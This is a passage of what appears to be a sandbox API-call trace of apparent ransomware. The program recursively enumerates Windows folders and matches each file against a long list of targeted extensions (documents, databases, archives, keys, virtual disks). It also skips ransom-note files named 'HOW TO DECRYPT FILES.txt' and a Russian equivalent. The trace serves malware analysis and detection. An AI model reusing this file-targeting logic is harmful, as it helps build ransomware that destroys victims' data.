(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.dbx") returned 0 [0111.965] lstrlenA (lpString="*.dbx") returned 5 [0111.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.sql") returned 0 [0111.965] lstrlenA (lpString="*.sql") returned 5 [0111.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mdb") returned 0 [0111.965] lstrlenA (lpString="*.mdb") returned 5 [0111.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.fdb") returned 0 [0111.965] lstrlenA (lpString="*.fdb") returned 5 [0111.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.wab") returned 0 [0111.965] lstrlenA (lpString="*.wab") returned 5 [0111.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.dat") returned 0 [0111.965] lstrlenA (lpString="*.dat") returned 5 [0111.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.txt") returned 0 [0111.965] lstrlenA (lpString="*.txt") returned 5 [0111.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.jpeg") returned 0 [0111.965] lstrlenA (lpString="*.jpeg") returned 6 [0111.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.jpg") returned 0 [0111.966] lstrlenA (lpString="*.jpg") returned 5 [0111.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.png") returned 0 [0111.966] lstrlenA (lpString="*.png") returned 5 [0111.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.php") returned 0 [0111.966] lstrlenA (lpString="*.php") returned 5 [0111.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.cs") returned 0 [0111.966] lstrlenA (lpString="*.cs") returned 4 [0111.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.cpp") returned 0 [0111.966] lstrlenA (lpString="*.cpp") returned 5 [0111.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.rar") returned 0 [0111.966] lstrlenA (lpString="*.rar") returned 5 [0111.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.zip") returned 0 [0111.966] lstrlenA (lpString="*.zip") returned 5 [0111.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.html") returned 0 [0111.966] lstrlenA (lpString="*.html") returned 6 [0111.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.htm") returned 0 [0111.966] lstrlenA (lpString="*.htm") returned 5 [0111.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.xlsx") returned 0 [0111.966] lstrlenA (lpString="*.xlsx") returned 6 [0111.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.xls") returned 0 [0111.966] lstrlenA (lpString="*.xls") returned 5 [0111.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mp4") returned 0 [0111.966] lstrlenA (lpString="*.mp4") returned 5 [0111.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.ppt") returned 0 [0111.967] lstrlenA (lpString="*.ppt") returned 5 [0111.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.pptx") returned 0 [0111.967] lstrlenA (lpString="*.pptx") returned 6 [0111.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.doc") returned 0 [0111.967] lstrlenA (lpString="*.doc") returned 5 [0111.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.dot") returned 0 [0111.967] lstrlenA (lpString="*.dot") returned 5 [0111.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.docx") returned 0 [0111.967] lstrlenA (lpString="*.docx") returned 6 [0111.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.7z") returned 0 [0111.967] lstrlenA (lpString="*.7z") returned 4 [0111.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.tar") returned 0 [0111.967] lstrlenA (lpString="*.tar") returned 5 [0111.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.bz2") returned 0 [0111.967] lstrlenA (lpString="*.bz2") returned 5 [0111.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.gz") returned 0 [0111.967] lstrlenA (lpString="*.gz") returned 4 [0111.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mkv") returned 0 [0111.967] lstrlenA (lpString="*.mkv") returned 5 [0111.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.eml") returned 0 [0111.967] lstrlenA (lpString="*.eml") returned 5 [0111.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.msg") returned 0 [0111.967] lstrlenA (lpString="*.msg") returned 5 [0111.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.edb") returned 0 [0111.967] lstrlenA (lpString="*.edb") returned 5 [0111.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.accdb") returned 0 [0111.968] lstrlenA (lpString="*.accdb") returned 7 [0111.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.odb") returned 0 [0111.968] lstrlenA (lpString="*.odb") returned 5 [0111.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.java") returned 0 [0111.968] lstrlenA (lpString="*.java") returned 6 [0111.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.asm") returned 0 [0111.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.pfx") returned 0 [0111.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.pem") returned 0 [0111.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.p12") returned 0 [0111.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.gpg") returned 0 [0111.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.vsd") returned 0 [0111.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.odg") returned 0 [0111.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.raw") returned 0 [0111.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.nef") returned 0 [0111.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.svg") returned 0 [0111.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.psd") returned 0 [0111.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.vmx") returned 0 [0111.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.vmdk") returned 0 [0111.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.vdi") returned 0 [0111.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.lay6") returned 0 [0111.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mpeg") returned 0 [0111.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.djvu") returned 0 [0111.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.tiff") returned 0 [0111.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.backup") returned 0 [0111.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.pdf") returned 0 [0111.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.cert") returned 0 [0111.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.docm") returned 0 [0111.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.xlsm") returned 0 [0111.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.dwg") returned 0 [0111.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.nd") returned 0 [0111.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.tlg") returned 0 [0111.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.lgb") returned 0 [0111.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mov") returned 0 [0111.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.xdw") returned 0 [0111.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.ods") returned 0 [0111.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.wav") returned 0 [0111.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mp3") returned 0 [0111.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.aiff") returned 0 [0111.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.flac") returned 0 [0111.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.m4a") returned 0 [0111.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCFFRast#\\c0ad9f95f88a6678d9ab2a648f0f2eae\\PresentationCFFRasterizer.ni.dll", pszSpec="*.csv") returned 0 [0111.972] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6eb3e3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c6eb3e3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c6eb3e3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationCFFRasterizer.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0111.972] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.972] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c75d803, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c75d803, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c75d803, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c0ad9f95f88a6678d9ab2a648f0f2eae", cAlternateFileName="C0AD9F~1")) returned 0 [0111.972] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.972] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f16dd39, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f16dd39, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f16dd39, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationCore", cAlternateFileName="PRESEN~1")) returned 1 [0111.972] lstrcmpA (lpString1=".", lpString2="PresentationCore") returned -1 [0111.972] lstrcmpA (lpString1="..", lpString2="PresentationCore") returned -1 [0111.972] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.972] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="PresentationCore" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore" [0111.972] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f16dd39, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f16dd39, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f16dd39, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.973] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.973] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f16dd39, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f16dd39, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f16dd39, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.973] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.973] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.973] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f16dd39, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f16dd39, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f16dd39, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e097881a6e1956a4c3f6b8dbb81cb4ee", cAlternateFileName="E09788~1")) returned 1 [0111.973] lstrcmpA (lpString1=".", lpString2="e097881a6e1956a4c3f6b8dbb81cb4ee") returned -1 [0111.973] lstrcmpA (lpString1="..", lpString2="e097881a6e1956a4c3f6b8dbb81cb4ee") returned -1 [0111.973] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\*.*") returned="*.*" [0111.973] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\", lpString2="e097881a6e1956a4c3f6b8dbb81cb4ee" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee" [0111.973] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f16dd39, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f16dd39, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f16dd39, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.975] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.975] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f16dd39, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f16dd39, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f16dd39, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.975] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.975] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.975] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed436b2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6ed436b2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6eee65d5, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xfc6200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationCore.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0111.975] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.975] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationCore.ni.dll") returned -1 [0111.975] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationCore.ni.dll") returned -1 [0111.975] lstrcmpiA (lpString1="", lpString2="PresentationCore.ni.dll") returned -1 [0111.975] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\*.*") returned="*.*" [0111.975] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\" [0111.975] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\") returned="" [0111.975] lstrcatA (in: 